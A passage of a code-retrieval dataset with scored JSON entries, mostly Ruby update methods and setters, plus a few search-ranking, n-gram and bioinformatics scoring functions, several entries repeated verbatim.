"text": "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "5ca2caa1a207739e77f437de35e41cf1",
"score": "0.59500545",
"text": "def update ; end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "879f1214e030bb2d9e43a0aedb1bc3ea",
"score": "0.593523",
"text": "def update_with(attributes)\n assign_attributes(attributes)\n end",
"title": ""
},
{
"docid": "10b1cb39dbb1f67820e37bb6d2632986",
"score": "0.5926413",
"text": "def update\n # don't need to update; hash is shared\n end",
"title": ""
},
{
"docid": "51982942bd4f09be3f7adc59da4cf104",
"score": "0.5924831",
"text": "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end",
"title": ""
},
{
"docid": "f0dd489c52fa73b1c3846fa43727c29e",
"score": "0.592427",
"text": "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "32ed734ad4f899f0ee9ec74a760ca1d0",
"score": "0.5921224",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "900f4c147e0916b2e9270373fb83c7e2",
"score": "0.59144294",
"text": "def update_attributes attributes\n @attributes.merge! attributes\n end",
"title": ""
},
{
"docid": "f63de190ae582620103d96f60d684114",
"score": "0.59142506",
"text": "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end",
"title": ""
},
{
"docid": "512d9095b05a696270730ee09c640773",
"score": "0.58887535",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "5b1f6d40d29f0afb908434d0a6404ac8",
"score": "0.58854496",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "efcb8c985b9e7911a606a9149b4ab171",
"score": "0.5883008",
"text": "def update\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "65f67197ac4544cbebca350d889922ee",
"score": "0.58792305",
"text": "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "10e162e857be9c47150e8eccd327cad9",
"score": "0.58744955",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "389ac4585e8143f353e2535499a23085",
"score": "0.5857968",
"text": "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end",
"title": ""
},
{
"docid": "c202a823016f05ee2fc4aade77320497",
"score": "0.5845542",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end",
"title": ""
},
{
"docid": "dc268f568dcb7aca1d3905736d2477af",
"score": "0.5841629",
"text": "def update attributes, collection #:nodoc:\n 0\n end",
"title": ""
},
{
"docid": "9763ac25d7fdf4b4f35a971609f70b04",
"score": "0.58363605",
"text": "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end",
"title": ""
},
{
"docid": "541550458a4c8f94afeb6b10c0cb2293",
"score": "0.5829255",
"text": "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end",
"title": ""
},
{
"docid": "49a282f2ce0c099a5ced60524a492b4f",
"score": "0.582919",
"text": "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end",
"title": ""
},
{
"docid": "f6c4eafa4f48a0c81157fb03ff350901",
"score": "0.5822138",
"text": "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end",
"title": ""
},
{
"docid": "524a6a969929f9af4bad05dbd9c8f935",
"score": "0.58208305",
"text": "def update\n set_deltatime\n set_last_update_at\n end",
"title": ""
}
] |
048ab7e1e65ed075dbf10ac719bc6764
|
Score similarty, input merged ngram query lines array, ouput scores Hash
|
[
{
"docid": "7488f5fcbbac9ee7442a035e39a310ab",
"score": "0.64847964",
"text": "def FastCosineScore(queryi)\n\tqueryi_ngram_all = File.open(\"#{$dir_queryfile}/queries_converted/query#{queryi}_ngram.all\", \"r\").readlines\n\tscores = Hash.new{0} # Scores[N] 初始值 0\n\t# length_d = Hash.new{1} # Length[N] 初始值 0 document length\n\t# length_q = Hash.new{1} # Length[N] 初始值 0 query length\n\n\t### parse each line\n\tqueryi_ngram_all.each do |line|\n\t\t# 用空白 去 splite 每一行 產生 [ngram, 次數] 的 array\n\t\ttemp_split = line.split(\" \") \n\t\tquery_term = temp_split[0].split(\"\\_\") # ngram\n\t\ttf_q = temp_split[1].to_i # tf\n\t\t# puts \"#{query_term} => (tf) #{query_tf} times\"\n\n\t\t# process query term\t\n\t\t# alpha = 0.2\n\t\t# beta = 1 - alpha\n\t\t# corpus_size = 97445 # corpus size\t\n\t\t# if query_term.count == 1\n\t\t# \tquery_term = query_term << \"-1\"\n\t\t# \tquery_term = \"#{query_term[0]}_#{query_term[1]}\"\n\t\t# \t#### caculate scores\n\t\t# \tif $dictionary.has_key?(query_term)\n\t\t# \t\tdf = $dictionary[query_term]\n\t\t# \t\tidf = Math.log10(corpus_size/df) # df\n\t\t# \t\t# TF-IDF of query\n\t\t# \t\tw_q = tf_q * idf\n\t\t# \t\tposting_list = eval(File.open(\"./model-files/inverted-index_hash/#{query_term}\", \"rb\").read)\n\t\t# \t\tposting_list.each do |key_of_documentid, tf_d|\n\t\t# \t\t\t# tf_document_normalize (BM25)\n\t\t# \t\t\ttf_d_n = tf_d / (0.25 + 0.75 * $doclen[key_of_documentid] / $avgdoclen)\n\t\t# \t\t\t# TF-IDF\n\t\t# \t\t\tw_d = tf_d_n * idf\n\t\t# \t\t\tscores[key_of_documentid] += w_d * w_q * alpha\n\t\t# \t\t\t# length_d[key_of_documentid] += w_d ** 2\n\t\t# \t\t\t# length_q[key_of_documentid] += w_q ** 2\n\t\t# \t\tend\n\t\t# \tend\t\t\n\t\t# else # if query_term.count == 2\n\t\t# \tquery_term = \"#{query_term[0]}_#{query_term[1]}\"\n\t\t# \t#### caculate scores\n\t\t# \tif $dictionary.has_key?(query_term)\n\t\t# \t\tdf = $dictionary[query_term]\n\t\t# \t\tidf = Math.log10(corpus_size/df) # df\n\t\t# \t\t# TF-IDF of query\n\t\t# \t\tw_q = tf_q * idf\n\t\t# \t\tposting_list = eval(File.open(\"./model-files/inverted-index_hash/#{query_term}\", \"rb\").read)\n\t\t# \t\tposting_list.each do |key_of_documentid, tf_d|\n\t\t# \t\t\t# tf_document_normalize (BM25)\n\t\t# \t\t\ttf_d_n = tf_d / (0.25 + 0.75 * $doclen[key_of_documentid] / $avgdoclen)\n\t\t# \t\t\t# TF-IDF\n\t\t# \t\t\tw_d = tf_d_n * idf\n\t\t# \t\t\tscores[key_of_documentid] += w_d * w_q * beta\n\t\t# \t\t\t# length_d[key_of_documentid] += w_d ** 2\n\t\t# \t\t\t# length_q[key_of_documentid] += w_q ** 2\n\t\t# \t\tend\n\t\t# \tend\t\t\t\n\t\t# end\n\n\t\t# process query term\t\n\t\tquery_term = \"#{query_term[0]}_#{query_term[1]}\"\n\t\t#### caculate scores\n\t\tif $dictionary.has_key?(query_term)\n\t\t\tidf = Math.log10(97445/$dictionary[query_term]) # df\n\t\t\t# TF-IDF of query\n\t\t\tf = File.open(\"#{$options[:m]}/inverted-index_converted/#{query_term}\", \"rb\")\n\t\t\tposting_list = eval(f.read)\n\t\t\tposting_list.each do |key_of_documentid, tf_d|\n\t\t\t\t# tf_document_normalize (BM25) -> TF-IDF\n\t\t\t\tscores[key_of_documentid] += tf_d / (0.25 + 0.75 * $doclen[key_of_documentid] / $avgdoclen) * idf\n\t\t\tend\n\t\t\tf.close\n\t\tend\t\t\t\n\tend\t \n\t### find top K\n\t# relevent = Array.new\n\t# sort hash, rank score, small -> big\n\t# scores.each do |key_of_documentid, score|\n\t# \t# scores[key_of_documentid] = score / Math.sqrt(length_d[key_of_documentid] * length_q[key_of_documentid])\n\t# \tscores[key_of_documentid] = score\n\t# \t# scores[key_of_documentid] = score\n\t# \t# if scores[key_of_documentid] > threshold\n\t# \t\t# relevent << key_of_documentid\n\t# \t# end\n\t# end\n\t# puts scores.values.sort\n\treturn scores # key_of_documentid\nend",
"title": ""
}
] |
[
{
"docid": "e22804648e9a0f125e8ff818710b31eb",
"score": "0.66955036",
"text": "def score_sentences(sentences)\n # sentence_scores = Hash.new\n sentences.each_with_index do |s,i|\n sids = s[2].collect{|a| Hash[a.collect{|b| b.split(':')}]}\n # [{\"0\"=>\"6\", \"1\"=>\"4\"}, {\"0\"=>\"2\", \"1\"=>\"5\"}, {\"0\"=>\"3\", \"1\"=>\"6\"}, {\"1\"=>\"7\"}, {\"0\"=>\"4\", \"1\"=>\"8\"}, {\"0\"=>\"5\"}, {\"0\"=>\"6\", \"1\"=>\"4\"}, {\"0\"=>\"7\"}, {\"0\"=>\"8\", \"1\"=>\"9\"}]\n\n (sids.size - 1).times do |i|\n sids[i].merge!(sids[i+1]) { |key, v1, v2| (v1.to_i - v2.to_i).abs < MAXIMUM_GAP ? true : false }\n end\n #{\"0\"=>false, \"1\"=>true}\n #{\"0\"=>true, \"1\"=>true}\n #{\"0\"=>\"3\", \"1\"=>true}\n #{\"1\"=>true, \"0\"=>\"4\"}\n #{\"0\"=>true, \"1\"=>\"8\"}\n #{\"0\"=>true, \"1\"=>\"4\"}\n #{\"0\"=>true, \"1\"=>\"4\"}\n #{\"0\"=>true, \"1\"=>\"9\"}\n\n # I am deleting the last key (which was merged in, but not merged itself)\n sids.reverse!\n sids.delete_at(0)\n\n # If they are all true, then its good, otherwise mark as false.\n (sids.size - 1).times do |i|\n sids[0].merge!(sids[i+1]) { |key, v1, v2| (v1 == true && v2 == true) ? true : false }\n end\n\n sids[0].delete_if {|key, value| value == false }\n\n # Add it to the sentences\n sentences[i] << (1.0/s[3]) * sids[0].size\n end\n sentences\nend",
"title": ""
},
{
"docid": "1e9fb535117eb82e75a681246187ea14",
"score": "0.5913321",
"text": "def nn_score(rows, word_ids)\n url_ids = rows.map { |row| row[0] }.uniq\n nn_res = @net.get_result(word_ids, url_ids)\n scores = {}\n url_ids.size.times do |i|\n scores[url_ids[i]] = nn_res[i]\n end\n \n normalize_scores(scores)\n end",
"title": ""
},
{
"docid": "9ede4c73f8a627e3b0ada98937d50f7e",
"score": "0.59009635",
"text": "def q2_score(map, answer, print_out, m)\r\n # place map into a hashtable so that the coordinates can be easily retrieved\r\n h = array_to_hash(map)\r\n \r\n # calculate score\r\n score = 0.0\r\n sequence = Marshal.load(Marshal.dump(answer)) # make a clone, so that the original answer is not affected\r\n\r\n # insert \"ORIGIN\" at appropriate places into sequence\r\n insert_origin(sequence, m)\r\n \r\n for i in 0...sequence.length-1\r\n item1 = sequence[i]\r\n item2 = sequence[i+1]\r\n coord_item1 = h[item1]\r\n coord_item2 = h[item2]\r\n r1 = coord_item1[0]\r\n c1 = coord_item1[1]\r\n r2 = coord_item2[0]\r\n c2 = coord_item2[1]\r\n \r\n distance = dist(r1, c1, r2, c2)\r\n score += distance\r\n \r\n # for troubleshooting/debugging\r\n if print_out == true\r\n puts \" #{item1} #{coord_item1}\\t-> #{item2} #{coord_item2}\\tDist:#{'%.01f' % distance}\\tDist so far:#{'%.01f' % score}\"\r\n end\r\n end \r\n return score\r\nend",
"title": ""
},
{
"docid": "f60ffb34feba6e149e5670da38db33b1",
"score": "0.5861978",
"text": "def find_hash(possible_words, known_anagram, known_md5s, start, n = 3)\n cpus = Parallel.processor_count\n puts \"Total number of iteration: #{possible_words.length**n}\"\n puts \"You got #{cpus} cores\"\n\n hash_table = get_hash_table(known_anagram)\n known_hash = get_hash(known_anagram, hash_table)\n\n Parallel.map(possible_words, in_processes: cpus) do |w1|\n possible_words.each do |w2|\n possible_words.each do |w3|\n # Print every ten million iteration\n phrase = \"#{w1} #{w2} #{w3}\"\n\n # Allow only equal size phrases\n next unless phrase.length == known_anagram.length\n\n # Allow only equal hash phrases\n hash = get_hash(phrase, hash_table)\n next unless hash == known_hash\n\n # All only equal md5 phrases\n md5 = Digest::MD5.hexdigest phrase\n next unless known_md5s.include?(md5)\n\n puts \"#{phrase} #{md5} (#{Time.now - start}s)\"\n end\n end\n end\nend",
"title": ""
},
{
"docid": "bf70567dcccad2763b63af303198c873",
"score": "0.5840545",
"text": "def ngram_analysis(str, n)\r\n # use a hash to store ngram - frequency mapping\r\n freq = Hash.new\r\n bigram = \"\"\r\n count = n-1\r\n i = 0\r\n\r\n # get the first ngram\r\n for i in 0..count\r\n bigram[i] = str[i]\r\n end\r\n\r\n freq[bigram] = 1\r\n\r\n str.each_char do |char|\r\n if i>=n then\r\n\r\n # bigram, trigram or quadrigram?\r\n bigram[0] = bigram[1]\r\n if n==2 then\r\n bigram[1] = char\r\n elsif n==3 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = char\r\n elsif n==4 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = bigram[3]\r\n bigram[3] = char\r\n end\r\n\r\n # updates values in the hash\r\n if freq.key?(bigram)==false then\r\n freq[bigram] = 1\r\n else \r\n freq[bigram] = freq[bigram]+1\r\n end\r\n\r\n end\r\n i = i + 1\r\n end\r\n\r\n # sort and print\r\n freq = freq.sort_by {|_key, value| value}.reverse.to_h\r\n i=0\r\n puts \"N-gram Analysis Results:\"\r\n freq.each do |key, value|\r\n if value!=1 && i<20 then\r\n puts key.to_s+\"\\t\"+value.to_s\r\n end\r\n i = i + 1\r\n end\r\nend",
"title": ""
},
{
"docid": "65c457e3881afd330d1a857803af5775",
"score": "0.58232397",
"text": "def link_text_score(*args)\n rows, word_ids = args\n link_scores = rows.to_hash { |row| [ row[0], 0 ] }\n word_ids.each do |word_id|\n # TODO: replace with ActiveRecord\n @db.execute(\"select l.from_id, l.to_id from link_words w, link l where w.word_id = ? and w.link_id = l.rowid\", word_id.to_i).each do |from, to|\n if link_scores.has_key? to\n pr = @db.get_first_row(\"select score from page_rank where url_id = ?\", from.to_i)[0].to_f\n link_scores[to] += pr\n end\n end\n end\n \n max_score = link_scores.values.max\n link_scores.to_a.to_hash do |url, score|\n [ url, score / max_score ]\n end\n end",
"title": ""
},
{
"docid": "7578ae29f90023bbb55ef31a3a75b2d3",
"score": "0.58065146",
"text": "def score\n\n return NULL_SCORE if query_words.empty?\n return NULL_SCORE if reference_words.empty?\n my_scores = []\n\n query_words.each_with_index do |query_word, i|\n query_word_best_score = NULL_SCORE\n reference_words.each_with_index do |reference_word, j|\n score = word_score(query_word, reference_word)\n score -= word_position_penalty(i, j)\n query_word_best_score = [query_word_best_score, score].max\n end\n my_scores << query_word_best_score\n end\n # debug your scores?\n #pp Hash[query_words.zip(my_scores)]\n\n return NULL_SCORE if my_scores.empty?\n my_scores = my_scores.sort.reverse.take(reference_words.length)\n score_sum = my_scores.inject(:+)\n final_score = score_sum / my_scores.length\n return final_score\n end",
"title": ""
},
{
"docid": "59e12593e68198bce8eabbb5b5ea0f2c",
"score": "0.5797939",
"text": "def match_percentage incorrect, possible\n #Creates character arrays for both words\n incorrect_array = incorrect.split(\"\")\n possible_array = possible.split(\"\")\n\n #Hashes to hold count of each char\n incorrect_hash = Hash.new(0)\n possible_hash = Hash.new(0)\n\n #Counts the characters in each word\n incorrect_array.each do |char|\n incorrect_hash[char] += 1\n end\n possible_array.each do |char|\n possible_hash[char] += 1\n end\n \n ##Compares the two hashes and returns similarity as a decimal\n #The overall percentage and total characters, used to calculate final percentage\n overall_percentage = 0.to_f\n total_chars = [incorrect_hash.keys.length, possible_hash.keys.length].max\n #Iterates over the hash for the possible correction\n possible_hash.each do |chars|\n #Sets char to the actual character\n char = chars[0]\n #Sets value_possible to count in possible hash\n value_possible = chars[1]\n #Sets value_incorrect to count in incorrect hash\n value_incorrect = incorrect_hash[char]\n\n #If neither value is zero calcluates similarity and adds to overall_percentage, otherwise its 0\n if value_possible != 0 && value_incorrect != 0\n min = [value_possible, value_incorrect].min\n max = [value_possible, value_incorrect].max\n overall_percentage += (min.to_f / max.to_f)\n end\n end\n #Calculates similarity percentage and returns\n overall_percentage /= total_chars\n\n return overall_percentage * $lexicon[possible[0]][possible.length][possible]\nend",
"title": ""
},
{
"docid": "193756053f698cb5329917376b2a4978",
"score": "0.57740283",
"text": "def score_motifs(motifs)\n # motifs is a ruby Matrix\n # To define scoring, consider t DNA sequences, each of length n, and select a k-mer \n # from each sequence to form a collection Motifs, which we represent as a t × k motif matrix.\n # Our goal is to select k-mers resulting in the most “conserved” motif matrix, meaning the matrix with the \n # most upper case letters (and thus the fewest number of lower case letters). Leaving aside the question of\n # how we select such k-mers, we will first focus on how to score the resulting motif matrices,\n # defining Score(Motifs) as the number of unpopular (lower case) letters in the motif matrix Motifs.\n # Our goal is to find a collection of k-mers that minimizes this score.\n\n # Motifs\n # T C G G G G g T T T t t \n # c C G G t G A c T T a C\n # a C G G G G A T T T t C\n # T t G G G G A c T T t t\n # a a G G G G A c T T C C\n # T t G G G G A c T T C C\n # T C G G G G A T T c a t\n # T C G G G G A T T c C t\n # T a G G G G A a c T a C\n # T C G G G t A T a a C C\n\n # Score \n # 3 + 4 + 0 + 0 + 1 + 1 + 1 + 5 + 2 + 3 + 6 + 4 = 30 \n\n # For now lets assume the input 'motifs' contain the upcase and lowercase encoded in it\n # If not we have to implement that in figuring out the score\n score = 0\n\n (0..(motifs.column_count-1)).each do |col_i|\n col_array = motifs.column(col_i)\n dna_freq = { \"A\" => 0, \"C\" => 0, \"G\" => 0, \"T\" => 0}\n col_array.each do |val|\n # score += 1 if val == val.downcase\n dna_freq[val.upcase] += 1\n end\n cnt_arr = dna_freq.values.sort\n count = 0\n cnt_arr.pop\n cnt_arr.each {|val| count += val}\n score += count\n end\n\n return score\n end",
"title": ""
},
{
"docid": "559d8a05e765263d41f6240778b15e21",
"score": "0.57632166",
"text": "def compare_vertices(pos_tagger, rev, subm, num_rev_vert, num_sub_vert, speller)\n# puts(\"****Inside compare_vertices:: rev.length:: #{num_rev_vert} subm.length:: #{num_sub_vert}\")\n #for double dimensional arrays, one of the dimensions should be initialized\n @vertex_match = Array.new(num_rev_vert){Array.new}\n wnet = WordnetBasedSimilarity.new\n cum_vertex_match = 0.0\n count = 0\n max = 0.0\n flag = 0\n \n for i in (0..num_rev_vert - 1)\n if(!rev.nil? and !rev[i].nil?)\n rev[i].node_id = i\n #puts(\"%%%%%%%%%%% Token #{rev[i].name} ::: POS tags:: rev[i].pos_tag:: #{rev[i].pos_tag} :: rev[i].node_id #{rev[i].node_id}\")\n #skipping frequent words from vertex comparison\n if(wnet.is_frequent_word(rev[i].name))\n next #ruby equivalent for continue \n end\n #looking for the best match\n #j tracks every element in the set of all vertices, some of which are null\n for j in (0..num_sub_vert - 1)\n if(!subm[j].nil?)\n if(subm[j].node_id == -1)\n subm[j].node_id = j\n end\n #puts(\"%%%%%%%%%%% Token #{subm[j].name} ::: POS tags:: subm[j].pos_tag:: #{subm[j].pos_tag} subm[j].node_id #{subm[j].node_id}\")\n if(wnet.is_frequent_word(subm[j].name))\n next #ruby equivalent for continue \n end\n #comparing only if one of the two vertices are nouns\n #if(rev[i].pos_tag.include?(\"NN\") and subm[j].pos_tag.include?(\"NN\"))\n @vertex_match[i][j] = wnet.compare_strings(rev[i], subm[j], speller) \n# puts \"returned value #{@vertex_match[i][j]}, max #{max}\"\n #only if the \"if\" condition is satisfied, since there could be null objects in between and you dont want unnecess. increments\n flag = 1\n if(@vertex_match[i][j] > max)\n max = @vertex_match[i][j]\n end\n #end\n end\n end #end of for loop for the submission vertices\n \n if(flag != 0)#if the review edge had any submission edges with which it was matched, since not all S-V edges might have corresponding V-O edges to match with\n #puts(\"**** Best match for:: #{rev[i].name}-- #{max}\")\n cum_vertex_match = cum_vertex_match + max\n count+=1\n max = 0.0 #re-initialize\n flag = 0\n end\n end #end of if condition\n end #end of for loop\n\n avg_match = 0.0\n if(count > 0)\n avg_match = cum_vertex_match/ count\n end\n return avg_match \nend",
"title": ""
},
{
"docid": "c8dc0eecafb012dfc0bdb351e703b1d4",
"score": "0.57009804",
"text": "def check_duplication (n=10)\n\n # get the first n hits\n less_hits = @hits[0..[n-1,@hits.length].min]\n averages = []\n\n less_hits.each do |hit|\n # indexing in blast starts from 1\n start_match_interval = hit.hsp_list.each.map{|x| x.hit_from}.min - 1\n end_match_interval = hit.hsp_list.map{|x| x.hit_to}.max - 1\n \n #puts \"#{hit.xml_length} #{start_match_interval} #{end_match_interval}\" \n\n coverage = Array.new(hit.xml_length,0)\n hit.hsp_list.each do |hsp|\n aux = []\n # for each hsp\n # iterate through the alignment and count the matching residues\n [*(0 .. hsp.align_len-1)].each do |i|\n residue_hit = hsp.hit_alignment[i]\n residue_query = hsp.query_alignment[i]\n if residue_hit != ' ' and residue_hit != '+' and residue_hit != '-'\n if residue_hit == residue_query \n idx = i + (hsp.hit_from-1) - hsp.hit_alignment[0..i].scan(/-/).length \n aux.push(idx)\n #puts \"#{idx} #{i} #{hsp.hit_alignment[0..i].scan(/-/).length}\"\n # indexing in blast starts from 1\n coverage[idx] += 1\n end\n end\n end\n end\n overlap = coverage.reject{|x| x==0}\n averages.push(overlap.inject(:+)/(overlap.length + 0.0))\n end\n \n # if all hsps match only one time\n if averages.reject{|x| x==1} == []\n return [\"NO\",1]\n end\n\n R.eval(\"library(preprocessCore)\")\n\n #make the wilcox-test and get the p-value\n R.eval(\"coverageDistrib = c#{averages.to_s.gsub('[','(').gsub(']',')')}\")\n R. eval(\"pval = wilcox.test(coverageDistrib - 1)$p.value\")\n pval = R.pull \"pval\"\n\n if pval < 0.01\n status = \"YES\"\n else\n status = \"NO\"\n end\n return [status, pval]\n end",
"title": ""
},
{
"docid": "1b98b3f8072f7df3913a421d19c9be8a",
"score": "0.55812734",
"text": "def hashNQS()\n @hash_nqs={}\n nqsReader=File.open(@nqsFile,\"r\")\n nqsReader.each do |line|\n cols=line.split(/\\s+/)\n \n name=cols[0]\n next if name==\"readName\"\n length=cols[1]\n dist=cols[2]\n qual=cols[3].to_i\n pass=cols[4]\n \n str_result=length+'.'+pass\n str=name+'.'+dist\n if @hash_nqs[str]==nil\n @hash_nqs[str]=str_result\n end\n end\n nqsReader.close\n $stderr.puts @hash_nqs.size\nend",
"title": ""
},
{
"docid": "9c8896678a3be2679a23863929765739",
"score": "0.5534672",
"text": "def score(do_logging=false)\n # penalize really short or long phrases\n duration_penalty = case \n when duration >= 4 then 0\n when duration == 3 then -100\n when duration == 2 then -400\n when duration <= 1 then -800\n end\n duration_penalty += case \n when length >= 12 then -1*((length*4)**1.25)\n when (length >= 3 and length < 12) then 0\n when length == 2 then -150\n when length <= 1 then -400\n end\n total = duration_penalty\n\n # first penalize for the total distance\n total -= DIST_WEIGHT*total_distance\n\n # now add a premium for similarity to other phrases\n filtered_similarity = @phrase_similarity.select{ |x| x > 0.3 }\n if filtered_similarity.empty?\n similarity = 0.0\n mean_similarity = 0.0\n similarity_weight = 0\n else\n mean_similarity = filtered_similarity.inject(0.0){|s,x| s+x} / filtered_similarity.length.to_f\n similarity = (self.length**SIM_A) * (filtered_similarity.length**SIM_B) / (10.0**(SIM_C*mean_similarity)) \n similarity_weight = 2\n total += similarity_weight*similarity\n end\n\n # finally, subtract a penalty for being significantly different from the mean phrase length\n total -= DUR_DEV_WEIGHT*duration_deviance\n\n puts \"\\t\\tscore (#{sprintf(\"%2d\", @start_idx)}-#{sprintf(\"%2d\", @end_idx)}): #{sprintf(\"% 4d\", duration_penalty)} \" +\n \"- #{DIST_WEIGHT}*#{sprintf(\"%5.1f\", total_distance)} \" +\n \"+ #{similarity_weight}*((#{sprintf(\"%2d\", self.length)}^#{SIM_A.round})*(#{filtered_similarity.length}^#{SIM_B.round})\" + \n \"/(10.0^(#{SIM_C.round}*#{sprintf(\"%4.3f\", mean_similarity)}))) \" +\n \"- #{DUR_DEV_WEIGHT}*#{sprintf(\"%5.3f\", duration_deviance)} \" +\n \"= #{sprintf(\"% 4d\", duration_penalty)} \" +\n \"- #{sprintf(\"% 6.1f\", DIST_WEIGHT*total_distance)} \" +\n \"+ #{sprintf(\"% 7.3f\", similarity_weight*similarity)} \" +\n \"- #{sprintf(\"% 6.1f\", DUR_DEV_WEIGHT*duration_deviance)} \" +\n \"= #{sprintf(\"% 6.1f\", 